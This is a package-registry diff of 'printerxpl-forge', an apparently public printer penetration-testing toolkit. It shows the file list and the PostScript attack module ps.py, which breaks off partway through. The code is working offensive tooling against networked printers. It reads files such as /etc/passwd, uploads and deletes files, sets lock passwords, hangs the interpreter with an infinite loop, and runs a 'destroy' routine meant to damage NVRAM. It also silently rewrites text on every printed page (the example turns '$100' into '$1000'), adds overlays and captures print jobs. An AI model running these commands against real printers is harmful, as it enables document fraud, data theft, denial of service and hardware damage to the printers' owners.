printerxpl-forge 6.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (97) hide show
  1. nse/README.md +204 -0
  2. nse/__init__.py +6 -0
  3. nse/install_nse.py +412 -0
  4. nse/lib/printerxpl.lua +238 -0
  5. nse/scripts/cups-info.nse +74 -0
  6. nse/scripts/cups-queue-info.nse +43 -0
  7. nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
  8. nse/scripts/http-device-mac.nse +107 -0
  9. nse/scripts/http-hp-ilo-info.nse +121 -0
  10. nse/scripts/http-info-xerox-enum.nse +101 -0
  11. nse/scripts/http-vuln-cve2022-1026.nse +158 -0
  12. nse/scripts/lexmark-config.nse +89 -0
  13. nse/scripts/pjl-ready-message.nse +106 -0
  14. nse/scripts/printer-banner.nse +217 -0
  15. nse/scripts/printer-cups-rce.nse +189 -0
  16. nse/scripts/printer-cve-detect.nse +279 -0
  17. nse/scripts/printer-discover.nse +205 -0
  18. nse/scripts/printer-firmware-exposed.nse +219 -0
  19. nse/scripts/printer-hp-pjl.nse +192 -0
  20. nse/scripts/printer-http-ews.nse +293 -0
  21. nse/scripts/printer-ipp-info.nse +235 -0
  22. nse/scripts/printer-lexmark-ipp.nse +203 -0
  23. nse/scripts/printer-passback.nse +204 -0
  24. nse/scripts/printer-pjl-info.nse +146 -0
  25. nse/scripts/printer-printnightmare.nse +211 -0
  26. nse/scripts/printer-snmp-info.nse +176 -0
  27. nse/scripts/printer-vuln-check.nse +256 -0
  28. nse/scripts/snmp-device-mac.nse +93 -0
  29. nse/scripts/snmp-info.nse +146 -0
  30. nse/scripts/snmp-sysdescr.nse +70 -0
  31. printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
  32. printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
  33. printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
  34. printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
  35. printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
  36. printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
  37. src/assets/fonts/gunplay.pfa +1671 -0
  38. src/assets/fonts/kshandwrt.pfa +315 -0
  39. src/assets/fonts/laksoner.pfa +2402 -0
  40. src/assets/fonts/paintcans.pfa +9699 -0
  41. src/assets/fonts/stencilod.pfa +4076 -0
  42. src/assets/fonts/takecover.pfa +26138 -0
  43. src/assets/fonts/topsecret.pfa +6652 -0
  44. src/assets/fonts/whoa.pfa +773 -0
  45. src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
  46. src/assets/mibs/Printer-MIB +4389 -0
  47. src/assets/mibs/README.md +9 -0
  48. src/assets/mibs/SNMPv2-MIB +854 -0
  49. src/assets/overlays/hacker.eps +596 -0
  50. src/assets/overlays/smiley.eps +214 -0
  51. src/assets/overlays/smiley2.eps +240 -0
  52. src/core/attack_orchestrator.py +1025 -0
  53. src/core/capabilities.py +323 -0
  54. src/core/destructive_audit.py +430 -0
  55. src/core/discovery.py +488 -0
  56. src/core/osdetect.py +74 -0
  57. src/core/poly_runner.py +579 -0
  58. src/core/printer.py +1426 -0
  59. src/main.py +2134 -0
  60. src/modules/install_printer.py +318 -0
  61. src/modules/login_bruteforce.py +852 -0
  62. src/modules/pcl.py +506 -0
  63. src/modules/pjl.py +3575 -0
  64. src/modules/print_job.py +1290 -0
  65. src/modules/ps.py +1102 -0
  66. src/payloads/__init__.py +98 -0
  67. src/payloads/assets/overlays/notice.eps +9 -0
  68. src/protocols/__init__.py +19 -0
  69. src/protocols/firmware.py +738 -0
  70. src/protocols/ipp.py +216 -0
  71. src/protocols/ipp_attacks.py +609 -0
  72. src/protocols/lpd.py +141 -0
  73. src/protocols/network_map.py +1004 -0
  74. src/protocols/raw.py +173 -0
  75. src/protocols/smb.py +359 -0
  76. src/protocols/ssrf_pivot.py +427 -0
  77. src/protocols/storage.py +587 -0
  78. src/ui/__init__.py +6 -0
  79. src/ui/interactive.py +742 -0
  80. src/ui/spinner.py +112 -0
  81. src/ui/tables.py +132 -0
  82. src/utils/banner_grabber.py +852 -0
  83. src/utils/codebook.py +456 -0
  84. src/utils/config.py +522 -0
  85. src/utils/cve_loader.py +158 -0
  86. src/utils/default_creds.py +134 -0
  87. src/utils/discovery_online.py +1327 -0
  88. src/utils/exploit_manager.py +805 -0
  89. src/utils/fuzzer.py +220 -0
  90. src/utils/helper.py +732 -0
  91. src/utils/local_printers.py +307 -0
  92. src/utils/ml_engine.py +491 -0
  93. src/utils/operators.py +474 -0
  94. src/utils/ports.py +234 -0
  95. src/utils/vuln_scanner.py +823 -0
  96. src/utils/wordlist_loader.py +412 -0
  97. src/version.py +36 -0
src/modules/ps.py ADDED
@@ -0,0 +1,1102 @@
1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+ """
4
+ PostScript Module for PrinterXPL-Forge
5
+ ==========================================
6
+ Complete PostScript penetration testing module with 40+ commands
7
+
8
+ Based on PRET ps.py but massively enhanced for PrinterXPL-Forge
9
+ """
10
+
11
+ # Author : Andre Henrique (@mrhenrike)
12
+ # GitHub : https://github.com/mrhenrike
13
+ # LinkedIn : https://linkedin.com/in/mrhenrike
14
+ # X/Twitter : https://x.com/mrhenrike
15
+
16
+ import re
17
+ import os
18
+ import random
19
+ import posixpath
20
+ import time
21
+
22
+ from core.printer import printer
23
+ from utils.operators import operators
24
+ from utils.helper import log, output, conv, file, item, chunks, const as c
25
+
26
+
27
+ class ps(printer):
28
+ """
29
+ PostScript shell for PrinterXPL-Forge - Complete Implementation
30
+ """
31
+
32
+ def __init__(self, args):
33
+ super().__init__(args)
34
+ self.ops = operators() # Load PostScript operators database
35
+ self.prompt = f"{self.target}:ps> "
36
+
37
+ # --------------------------------------------------------------------
38
+ # Help overview (category-based, PJL-style)
39
+ # --------------------------------------------------------------------
40
+ def do_help(self, arg):
41
+ """Show help for commands (PostScript)"""
42
+ topic = (arg or "").strip()
43
+ if topic:
44
+ # Delegate to base generic help for specific topics
45
+ return super().do_help(topic)
46
+
47
+ # Categories aligned with README
48
+ categories = {
49
+ "filesystem": [
50
+ "ls", "get", "put", "delete", "cat"
51
+ ],
52
+ "information": [
53
+ "id", "version", "devices", "uptime", "date", "dicts", "dump", "known", "search", "pagecount"
54
+ ],
55
+ "control": [
56
+ "config", "restart", "reset", "hold", "display"
57
+ ],
58
+ "security": [
59
+ "lock", "unlock", "disable", "enumerate_operators", "test_file_access", "permissions", "chmod"
60
+ ],
61
+ "attacks": [
62
+ "destroy", "hang", "overlay", "cross", "replace", "capture", "payload"
63
+ ],
64
+ "advanced": [
65
+ "exec_ps"
66
+ ],
67
+ }
68
+
69
+ # Flatten to include only implemented names
70
+ implemented = {name for name in dir(self) if name.startswith("do_")}
71
+ def exists(cmd):
72
+ return f"do_{cmd}" in implemented
73
+
74
+ # Print header
75
+ print()
76
+ print("PrinterXPL-Forge - PostScript Commands")
77
+ print("=" * 70)
78
+ print("Available command categories:")
79
+ total = 0
80
+ for cat, cmds in categories.items():
81
+ avail = [c for c in cmds if exists(c)]
82
+ total += len(avail)
83
+ label = cat.ljust(13)
84
+ print(f" {label}- {len(avail)} commands")
85
+ print()
86
+ print(f"Total: {total} PostScript commands available")
87
+ print("Use 'help <command>' for specific details")
88
+ print()
89
+ # Optional: list commands per category in columns
90
+ for cat, cmds in categories.items():
91
+ avail = [c for c in cmds if exists(c)]
92
+ if not avail:
93
+ continue
94
+ print(cat.capitalize() + ":")
95
+ print("-" * 70)
96
+ colw = max(len(x) for x in avail) + 2
97
+ cols = max(1, 70 // colw)
98
+ for i in range(0, len(avail), cols):
99
+ row = avail[i:i+cols]
100
+ print("".join(x.ljust(colw) for x in row))
101
+ print()
102
+
103
+ # --------------------------------------------------------------------
104
+ # Low-level PostScript send/receive
105
+
106
+ def cmd(self, str_send, wait=True, crop=True, binary=False):
107
+ """
108
+ Send a PostScript command and optionally wait for its reply.
109
+ """
110
+ token = c.DELIMITER + str(random.randrange(2**16))
111
+ footer = f"({token}\\n) print flush\n" if wait else ""
112
+ payload = c.UEL + c.PS_HEADER + str_send + "\n" + footer + c.UEL
113
+
114
+ # log the command
115
+ log().write(self.logfile, str_send + os.linesep)
116
+ # send
117
+ self.send(payload)
118
+
119
+ if not wait:
120
+ return ""
121
+
122
+ # receive until token with timeout
123
+ try:
124
+ if hasattr(self.conn, '_sock') and self.conn._sock:
125
+ self.conn._sock.settimeout(30.0)
126
+
127
+ raw = self.recv(re.escape(token) + r".*$", wait, True, binary)
128
+ except Exception as e:
129
+ output().errmsg(f"Failed to receive response: {str(e)}")
130
+ return ""
131
+
132
+ # Parse PostScript errors
133
+ errors = re.findall(c.PS_ERROR, raw)
134
+ if errors:
135
+ for error in errors:
136
+ output().errmsg(f"PostScript Error: {error}")
137
+
138
+ return raw
139
+
140
+ def on_connect(self, mode):
141
+ """
142
+ Initialize PostScript environment on first connect.
143
+ """
144
+ if mode == "init":
145
+ # Enter PostScript mode
146
+ self.cmd("%!", False)
147
+
148
+ # --------------------------------------------------------------------
149
+ # 📋 SYSTEM INFORMATION COMMANDS
150
+ # --------------------------------------------------------------------
151
+
152
+ def do_id(self, *args):
153
+ "Show comprehensive printer identification (PostScript-specific)"
154
+ print("PostScript Printer Identification:")
155
+ print("=" * 60)
156
+
157
+ # Get product name
158
+ product = self.cmd("statusdict begin product = end")
159
+ if product:
160
+ print(f"Product: {product.strip()}")
161
+
162
+ # Get version
163
+ version = self.cmd("version print")
164
+ if version:
165
+ print(f"PS Version: {version.strip()}")
166
+
167
+ # Get serial number
168
+ serial = self.cmd("serialnumber print")
169
+ if serial:
170
+ print(f"Serial Number: {serial.strip()}")
171
+
172
+ def help_id(self):
173
+ """Show help for id command"""
174
+ print()
175
+ print("id - Show PostScript printer identification")
176
+ print("=" * 60)
177
+ print("DESCRIPTION:")
178
+ print(" Displays comprehensive printer identification including")
179
+ print(" product name, PostScript version, and serial number.")
180
+ print()
181
+ print("USAGE:")
182
+ print(" id")
183
+ print()
184
+ print("EXAMPLES:")
185
+ print(" id # Show printer identification")
186
+ print()
187
+ print("NOTES:")
188
+ print(" - Uses PostScript operators: product, version, serialnumber")
189
+ print(" - Information from statusdict")
190
+ print()
191
+
192
+ def do_version(self, *args):
193
+ "Show PostScript interpreter version"
194
+ version = self.cmd("version print")
195
+ if version:
196
+ print(f"PostScript Version: {version.strip()}")
197
+
198
+ def help_version(self):
199
+ """Show help for version command"""
200
+ print()
201
+ print("version - Show PostScript interpreter version")
202
+ print("=" * 60)
203
+ print("DESCRIPTION:")
204
+ print(" Displays the PostScript interpreter version.")
205
+ print()
206
+ print("USAGE:")
207
+ print(" version")
208
+ print()
209
+
210
+ def do_devices(self, *args):
211
+ "List available I/O devices"
212
+ result = self.cmd("""
213
+ (*) { (%) exch cvs print (\\n) print } 100 string /IODevice resourceforall
214
+ """)
215
+ if result:
216
+ print("Available I/O Devices:")
217
+ print(result)
218
+
219
+ def help_devices(self):
220
+ """Show help for devices command"""
221
+ print()
222
+ print("devices - List available I/O devices")
223
+ print("=" * 60)
224
+ print("DESCRIPTION:")
225
+ print(" Lists all available I/O devices in the PostScript environment.")
226
+ print()
227
+ print("USAGE:")
228
+ print(" devices")
229
+ print()
230
+
231
+ def do_uptime(self, *args):
232
+ "Show system uptime"
233
+ uptime = self.cmd("realtime 100 div print")
234
+ if uptime:
235
+ print(f"Uptime: {conv().elapsed(uptime, 1)} seconds")
236
+
237
+ def do_date(self, *args):
238
+ "Show printer's system date and time"
239
+ # PostScript doesn't have built-in date, but we can try
240
+ result = self.cmd("realtime print")
241
+ if result:
242
+ print(f"System Time (ticks): {result.strip()}")
243
+
244
+ # --------------------------------------------------------------------
245
+ # 📁 FILESYSTEM COMMANDS
246
+ # --------------------------------------------------------------------
247
+
248
+ def do_ls(self, arg):
249
+ "List files in PostScript filesystem"
250
+ path = arg or "(%disk0%)"
251
+ result = self.cmd(f"""
252
+ {path} (*) {{
253
+ dup print (\\n) print
254
+ }} 100 string filenameforall
255
+ """)
256
+ if result:
257
+ print("Files:")
258
+ print(result)
259
+
260
+ def help_ls(self):
261
+ """Show help for ls command"""
262
+ print()
263
+ print("ls - List files in PostScript filesystem")
264
+ print("=" * 60)
265
+ print("DESCRIPTION:")
266
+ print(" Lists files in the PostScript filesystem using filenameforall.")
267
+ print()
268
+ print("USAGE:")
269
+ print(" ls [path]")
270
+ print()
271
+ print("EXAMPLES:")
272
+ print(" ls # List files in default location")
273
+ print(" ls (%disk0%) # List files on disk0")
274
+ print()
275
+
276
+ def do_get(self, arg):
277
+ "Download file from printer"
278
+ if not arg:
279
+ output().errmsg("Usage: get <file>")
280
+ return
281
+
282
+ result = self.cmd(f"""
283
+ ({arg}) (r) file
284
+ dup 4096 string readstring
285
+ pop print
286
+ closefile
287
+ """)
288
+
289
+ if result:
290
+ lpath = os.path.basename(arg)
291
+ file().write(lpath, result.encode())
292
+ output().message(f"Downloaded {arg} to {lpath}")
293
+
294
+ def help_get(self):
295
+ """Show help for get command"""
296
+ print()
297
+ print("get - Download file from printer")
298
+ print("=" * 60)
299
+ print("DESCRIPTION:")
300
+ print(" Downloads a file from the printer's PostScript filesystem")
301
+ print(" using the file operator to read file contents.")
302
+ print()
303
+ print("USAGE:")
304
+ print(" get <file>")
305
+ print()
306
+ print("EXAMPLES:")
307
+ print(" get /etc/passwd # Download passwd file")
308
+ print(" get (%disk0%)config.ps # Download from disk0")
309
+ print()
310
+
311
+ def do_put(self, arg):
312
+ "Upload file to printer"
313
+ if not arg:
314
+ output().errmsg("Usage: put <local_file>")
315
+ return
316
+
317
+ if not os.path.exists(arg):
318
+ output().errmsg(f"Local file not found: {arg}")
319
+ return
320
+
321
+ data = file().read(arg)
322
+ if not data:
323
+ return
324
+
325
+ # Escape special characters
326
+ escaped = data.decode('latin-1', errors='ignore').replace('\\', '\\\\').replace('(', '\\(').replace(')', '\\)')
327
+
328
+ remote = os.path.basename(arg)
329
+ result = self.cmd(f"""
330
+ ({remote}) (w) file
331
+ ({escaped}) writestring
332
+ closefile
333
+ """)
334
+
335
+ output().message(f"Uploaded {arg} to printer")
336
+
337
+ def do_delete(self, arg):
338
+ "Delete file from printer"
339
+ if not arg:
340
+ output().errmsg("Usage: delete <file>")
341
+ return
342
+
343
+ result = self.cmd(f"({arg}) deletefile")
344
+ output().message(f"Deleted {arg}")
345
+
346
+ def help_delete(self):
347
+ """Show help for delete command"""
348
+ print()
349
+ print("delete - Delete file from printer")
350
+ print("=" * 60)
351
+ print("DESCRIPTION:")
352
+ print(" Removes a file from the PostScript filesystem using deletefile operator.")
353
+ print()
354
+ print("USAGE:")
355
+ print(" delete <file>")
356
+ print()
357
+
358
+ # --------------------------------------------------------------------
359
+ # 🔒 SECURITY AND CONTROL COMMANDS
360
+ # --------------------------------------------------------------------
361
+
362
+ def do_lock(self, arg):
363
+ "Set system and startjob passwords"
364
+ if not arg:
365
+ arg = input("Password: ")
366
+
367
+ result = self.cmd(f"""
368
+ serverdict begin 0 exitserver
369
+ statusdict begin
370
+ ({arg}) setsystemparamspassword
371
+ ({arg}) setstartjobpassword
372
+ end
373
+ """)
374
+ output().message(f"Printer locked with password: {arg}")
375
+
376
+ def help_lock(self):
377
+ """Show help for lock command"""
378
+ print()
379
+ print("lock - Set system and startjob passwords")
380
+ print("=" * 60)
381
+ print("DESCRIPTION:")
382
+ print(" Sets passwords to restrict access to system parameters")
383
+ print(" and startjob operations.")
384
+ print()
385
+ print("USAGE:")
386
+ print(" lock [password]")
387
+ print()
388
+
389
+ def do_unlock(self, arg):
390
+ "Unset system and startjob passwords"
391
+ if not arg:
392
+ arg = input("Password: ")
393
+
394
+ result = self.cmd(f"""
395
+ ({arg}) 0 exitserver
396
+ statusdict begin
397
+ () setsystemparamspassword
398
+ () setstartjobpassword
399
+ end
400
+ """)
401
+ output().message("Printer unlocked")
402
+
403
+ def do_restart(self, *arg):
404
+ "Restart PostScript interpreter"
405
+ output().warning("Restarting PostScript interpreter...")
406
+ self.cmd("systemdict /quit get exec", False)
407
+
408
+ def help_restart(self):
409
+ """Show help for restart command"""
410
+ print()
411
+ print("restart - Restart PostScript interpreter")
412
+ print("=" * 60)
413
+ print("DESCRIPTION:")
414
+ print(" Restarts the PostScript interpreter, clearing all state.")
415
+ print()
416
+ print("USAGE:")
417
+ print(" restart")
418
+ print()
419
+
420
+ def do_reset(self, *arg):
421
+ "Reset PostScript settings to factory defaults"
422
+ output().warning("Resetting to factory defaults...")
423
+ confirm = input("Are you sure? (yes/no): ")
424
+ if confirm.lower() == 'yes':
425
+ self.cmd("erasepage initgraphics")
426
+ output().message("Reset complete")
427
+
428
+ def do_disable(self, *arg):
429
+ "Disable printing functionality"
430
+ self.cmd("nulldevice")
431
+ output().message("Printing disabled")
432
+
433
+ def help_disable(self):
434
+ """Show help for disable command"""
435
+ print()
436
+ print("disable - Disable printing functionality")
437
+ print("=" * 60)
438
+ print("DESCRIPTION:")
439
+ print(" Redirects output to null device, effectively disabling printing.")
440
+ print()
441
+ print("USAGE:")
442
+ print(" disable")
443
+ print()
444
+
445
+ # --------------------------------------------------------------------
446
+ # 💥 ATTACK COMMANDS
447
+ # --------------------------------------------------------------------
448
+
449
+ def do_destroy(self, *arg):
450
+ "Cause physical damage to printer's NVRAM (PostScript)"
451
+ output().warning("⚠️⚠️⚠️ DESTRUCTIVE ATTACK ⚠️⚠️⚠️")
452
+ output().warning("This may permanently damage the printer!")
453
+
454
+ confirm = input("Type 'DESTROY' to confirm: ")
455
+ if confirm == 'DESTROY':
456
+ # Repeatedly erase and write to NVRAM
457
+ output().warning("Executing destructive command...")
458
+ self.cmd("""
459
+ 0 1 10000 {
460
+ pop
461
+ erasepage
462
+ initgraphics
463
+ } for
464
+ """, False)
465
+ output().warning("Destructive command executed")
466
+ else:
467
+ output().info("Cancelled")
468
+
469
+ def help_destroy(self):
470
+ """Show help for destroy command"""
471
+ print()
472
+ print("destroy - Cause physical damage to NVRAM")
473
+ print("=" * 60)
474
+ print("DESCRIPTION:")
475
+ print(" ⚠️⚠️⚠️ DESTRUCTIVE - Attempts to cause physical damage")
476
+ print(" to the printer's NVRAM by repeatedly erasing.")
477
+ print()
478
+ print("USAGE:")
479
+ print(" destroy")
480
+ print()
481
+ print("WARNINGS:")
482
+ print(" ⚠️ MAY CAUSE PERMANENT HARDWARE DAMAGE")
483
+ print(" ⚠️ CANNOT BE UNDONE")
484
+ print(" ⚠️ REQUIRES 'DESTROY' CONFIRMATION")
485
+ print()
486
+
487
+ def do_hang(self, *arg):
488
+ "Execute PostScript infinite loop"
489
+ output().warning("Executing infinite loop - printer will hang!")
490
+ confirm = input("Continue? (yes/no): ")
491
+ if confirm.lower() == 'yes':
492
+ self.cmd("{ } loop", False)
493
+
494
+ def help_hang(self):
495
+ """Show help for hang command"""
496
+ print()
497
+ print("hang - Execute PostScript infinite loop")
498
+ print("=" * 60)
499
+ print("DESCRIPTION:")
500
+ print(" Sends an infinite loop command that hangs the printer.")
501
+ print(" Printer will require power cycle to recover.")
502
+ print()
503
+ print("USAGE:")
504
+ print(" hang")
505
+ print()
506
+
507
+ def do_overlay(self, arg):
508
+ "Put overlay EPS file on all hardcopies"
509
+ if not arg:
510
+ output().errmsg("Usage: overlay <file.eps>")
511
+ return
512
+
513
+ if not os.path.exists(arg):
514
+ output().errmsg(f"File not found: {arg}")
515
+ return
516
+
517
+ eps_data = file().read(arg)
518
+ if not eps_data:
519
+ return
520
+
521
+ # Load EPS as overlay
522
+ self.cmd(f"""
523
+ /showpage {{
524
+ gsave
525
+ {eps_data.decode('latin-1', errors='ignore')}
526
+ grestore
527
+ showpage
528
+ }} bind def
529
+ """)
530
+ output().message(f"Overlay {arg} will be added to all printed pages")
531
+
532
+ def help_overlay(self):
533
+ """Show help for overlay command"""
534
+ print()
535
+ print("overlay - Add EPS overlay to all prints")
536
+ print("=" * 60)
537
+ print("DESCRIPTION:")
538
+ print(" Loads an EPS file that will be overlaid on all subsequent")
539
+ print(" printed pages. Useful for watermarks or demonstrations.")
540
+ print()
541
+ print("USAGE:")
542
+ print(" overlay <file.eps>")
543
+ print()
544
+ print("EXAMPLES:")
545
+ print(" overlay src/payloads/assets/overlays/notice.eps")
546
+ print(" overlay src/assets/overlays/smiley.eps")
547
+ print()
548
+ print("ASSETS:")
549
+ print(" - Overlays: src/assets/overlays/*.eps")
550
+ print(" - Fonts: src/assets/fonts/*.pfa")
551
+ print(" Use 'assets' or 'overlay_list' to list available files.")
552
+ print()
553
+
554
+ def do_overlay_list(self, *arg):
555
+ "List available overlay files with preview"
556
+ base = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))
557
+ overlays_dirs = [
558
+ os.path.join(base, "src", "assets", "overlays"),
559
+ os.path.join(base, "src", "payloads", "assets", "overlays"),
560
+ ]
561
+
562
+ output().blue("Available Overlay Files:")
563
+ print("=" * 70)
564
+
565
+ total = 0
566
+ for overlay_dir in overlays_dirs:
567
+ if not os.path.isdir(overlay_dir):
568
+ continue
569
+
570
+ files = sorted([f for f in os.listdir(overlay_dir) if f.endswith('.eps')])
571
+ if not files:
572
+ continue
573
+
574
+ print(f"\nDirectory: {overlay_dir}")
575
+ print("-" * 70)
576
+
577
+ for filename in files:
578
+ full_path = os.path.join(overlay_dir, filename)
579
+ size = os.path.getsize(full_path)
580
+
581
+ # Try to extract title/description from EPS header
582
+ try:
583
+ with open(full_path, 'r', encoding='latin-1') as f:
584
+ header = ''.join([f.readline() for _ in range(10)])
585
+ title_match = re.search(r'%%Title:\s*(.+)', header)
586
+ title = title_match.group(1).strip() if title_match else "No title"
587
+ except:
588
+ title = "Unable to read"
589
+
590
+ print(f" {filename:<30} {conv().filesize(size):<10} {title}")
591
+ total += 1
592
+
593
+ print()
594
+ print(f"Total: {total} overlay files available")
595
+ print("Use: overlay <path> to apply an overlay")
596
+ print()
597
+
598
+ def help_overlay_list(self):
599
+ """Show help for overlay_list command"""
600
+ print()
601
+ print("overlay_list - List available overlay files with preview")
602
+ print("=" * 60)
603
+ print("DESCRIPTION:")
604
+ print(" Lists all available EPS overlay files bundled with PrinterXPL-Forge.")
605
+ print(" Shows filename, size, and title/description extracted from EPS header.")
606
+ print()
607
+ print("USAGE:")
608
+ print(" overlay_list")
609
+ print()
610
+ print("EXAMPLES:")
611
+ print(" overlay_list # Show all available overlays")
612
+ print()
613
+ print("SEE ALSO:")
614
+ print(" - overlay <file.eps> # Apply an overlay")
615
+ print(" - assets # List all bundled assets")
616
+ print()
617
+
618
+ def do_cross(self, arg):
619
+ "Put text graffiti on all hardcopies"
620
+ if not arg:
621
+ output().errmsg("Usage: cross <text>")
622
+ return
623
+
624
+ self.cmd(f"""
625
+ /showpage {{
626
+ gsave
627
+ /Helvetica findfont 20 scalefont setfont
628
+ 100 700 moveto
629
+ ({arg}) show
630
+ grestore
631
+ showpage
632
+ }} bind def
633
+ """)
634
+ output().message(f"Text '{arg}' will be added to all printed pages")
635
+
636
+ def help_cross(self):
637
+ """Show help for cross command"""
638
+ print()
639
+ print("cross - Add text watermark to all prints")
640
+ print("=" * 60)
641
+ print("DESCRIPTION:")
642
+ print(" Adds text graffiti/watermark to all subsequent printed pages.")
643
+ print()
644
+ print("USAGE:")
645
+ print(" cross <text>")
646
+ print()
647
+ print("EXAMPLES:")
648
+ print(" cross CONFIDENTIAL # Add CONFIDENTIAL watermark")
649
+ print(" cross 'SAMPLE - NOT FOR DISTRIBUTION'")
650
+ print()
651
+
652
+ def do_replace(self, arg):
653
+ "Replace string in all documents"
654
+ if not arg:
655
+ output().errmsg("Usage: replace <old> <new>")
656
+ return
657
+
658
+ parts = arg.split(None, 1)
659
+ if len(parts) != 2:
660
+ output().errmsg("Usage: replace <old> <new>")
661
+ return
662
+
663
+ old, new = parts
664
+ self.cmd(f"""
665
+ /show {{
666
+ dup ({old}) search {{
667
+ pop pop ({new}) show
668
+ }} {{
669
+ show
670
+ }} ifelse
671
+ }} bind def
672
+ """)
673
+ output().message(f"Will replace '{old}' with '{new}' in all documents")
674
+
675
+ def help_replace(self):
676
+ """Show help for replace command"""
677
+ print()
678
+ print("replace - Replace string in printed documents")
679
+ print("=" * 60)
680
+ print("DESCRIPTION:")
681
+ print(" Replaces all occurrences of a string in documents being printed.")
682
+ print()
683
+ print("USAGE:")
684
+ print(" replace <old> <new>")
685
+ print()
686
+ print("EXAMPLES:")
687
+ print(" replace Public Confidential")
688
+ print(" replace $100 $1000")
689
+ print()
690
+
691
+ def do_capture(self, *arg):
692
+ "Capture print jobs to file"
693
+ output().message("Enabling print job capture...")
694
+ self.cmd("""
695
+ /showpage {
696
+ currentpagedevice /OutputFile (%stdout) (w) file put
697
+ setpagedevice
698
+ } bind def
699
+ """)
700
+ output().message("Print jobs will be captured")
701
+
702
+ def help_capture(self):
703
+ """Show help for capture command"""
704
+ print()
705
+ print("capture - Capture print jobs")
706
+ print("=" * 60)
707
+ print("DESCRIPTION:")
708
+ print(" Redirects print output to capture print jobs.")
709
+ print()
710
+ print("USAGE:")
711
+ print(" capture")
712
+ print()
713
+
714
+ def do_hold(self, *arg):
715
+ "Enable job retention"
716
+ self.cmd("true 0 startjob { /JobRetention true def } stopped pop")
717
+ output().message("Job retention enabled")
718
+
719
+ # --------------------------------------------------------------------
720
+ # 🔍 INFORMATION GATHERING
721
+ # --------------------------------------------------------------------
722
+
723
+ def do_dicts(self, *arg):
724
+ "List all dictionaries and their permissions"
725
+ result = self.cmd("""
726
+ currentdict { pop = } forall
727
+ """)
728
+ if result:
729
+ print("Dictionaries:")
730
+ print(result)
731
+
732
+ def help_dicts(self):
733
+ """Show help for dicts command"""
734
+ print()
735
+ print("dicts - List all dictionaries")
736
+ print("=" * 60)
737
+ print("DESCRIPTION:")
738
+ print(" Lists all available dictionaries in the PostScript environment.")
739
+ print()
740
+ print("USAGE:")
741
+ print(" dicts")
742
+ print()
743
+
744
+ def do_dump(self, arg):
745
+ "Dump dictionary contents"
746
+ dict_name = arg or "systemdict"
747
+ result = self.cmd(f"""
748
+ {dict_name} {{
749
+ dup type /nametype eq {{
750
+ dup = = cvs print ( ) print
751
+ }} if
752
+ pop
753
+ }} forall
754
+ """)
755
+ if result:
756
+ print(f"Contents of {dict_name}:")
757
+ print(result)
758
+
759
+ def help_dump(self):
760
+ """Show help for dump command"""
761
+ print()
762
+ print("dump - Dump dictionary contents")
763
+ print("=" * 60)
764
+ print("DESCRIPTION:")
765
+ print(" Dumps the contents of a PostScript dictionary.")
766
+ print()
767
+ print("USAGE:")
768
+ print(" dump [dict_name]")
769
+ print()
770
+ print("EXAMPLES:")
771
+ print(" dump systemdict # Dump system dictionary")
772
+ print(" dump statusdict # Dump status dictionary")
773
+ print(" dump userdict # Dump user dictionary")
774
+ print()
775
+
776
+ def do_known(self, arg):
777
+ "Test if PostScript operator is supported"
778
+ if not arg:
779
+ output().errmsg("Usage: known <operator>")
780
+ return
781
+
782
+ result = self.cmd(f"""
783
+ /{arg} where {{
784
+ pop (Operator '{arg}' is SUPPORTED) print
785
+ }} {{
786
+ (Operator '{arg}' is NOT supported) print
787
+ }} ifelse
788
+ """)
789
+ if result:
790
+ print(result)
791
+
792
+ def help_known(self):
793
+ """Show help for known command"""
794
+ print()
795
+ print("known - Test if PostScript operator is supported")
796
+ print("=" * 60)
797
+ print("DESCRIPTION:")
798
+ print(" Checks if a specific PostScript operator is available.")
799
+ print()
800
+ print("USAGE:")
801
+ print(" known <operator>")
802
+ print()
803
+ print("EXAMPLES:")
804
+ print(" known file # Test if 'file' operator exists")
805
+ print(" known deletefile # Test if 'deletefile' exists")
806
+ print()
807
+
808
+ def do_search(self, arg):
809
+ "Search all dictionaries for key"
810
+ if not arg:
811
+ output().errmsg("Usage: search <key>")
812
+ return
813
+
814
+ result = self.cmd(f"""
815
+ /{arg} where {{
816
+ (Found in dictionary) print
817
+ pop pop
818
+ }} {{
819
+ (Not found) print
820
+ }} ifelse
821
+ """)
822
+ if result:
823
+ print(result)
824
+
825
+ def do_enumerate_operators(self, *arg):
826
+ "Enumerate supported PostScript operators"
827
+ print("Enumerating PostScript Operators...")
828
+ print("=" * 60)
829
+
830
+ for category, ops in self.ops.oplist.items():
831
+ print(f"\n{category}")
832
+ print("-" * 60)
833
+ supported = []
834
+ for op in ops:
835
+ # Test if operator is known
836
+ result = self.cmd(f"/{op} where {{ pop (1) }} {{ (0) }} ifelse print", wait=True)
837
+ if result and '1' in result:
838
+ supported.append(op)
839
+
840
+ if supported:
841
+ print(f"Supported ({len(supported)}/{len(ops)}): {', '.join(supported)}")
842
+ else:
843
+ print("None supported")
844
+
845
+ def help_enumerate_operators(self):
846
+ """Show help for enumerate_operators command"""
847
+ print()
848
+ print("enumerate_operators - Test all PostScript operators")
849
+ print("=" * 60)
850
+ print("DESCRIPTION:")
851
+ print(" Tests all 400+ PostScript operators from the operators database")
852
+ print(" to determine which are supported by this printer.")
853
+ print()
854
+ print("USAGE:")
855
+ print(" enumerate_operators")
856
+ print()
857
+ print("NOTES:")
858
+ print(" - Tests 16 operator categories")
859
+ print(" - May take several minutes")
860
+ print(" - Useful for vulnerability assessment")
861
+ print()
862
+
863
+ # --------------------------------------------------------------------
864
+ # 🎨 CONFIGURATION AND MANIPULATION
865
+ # --------------------------------------------------------------------
866
+
867
+ def do_config(self, arg):
868
+ "Change printer settings"
869
+ if not arg:
870
+ print("Available configurations:")
871
+ print(" duplex - Set duplex printing")
872
+ print(" copies <n> - Set number of copies")
873
+ print(" economode - Set economic mode")
874
+ print(" negative - Set negative print")
875
+ print(" mirror - Set mirror inversion")
876
+ return
877
+
878
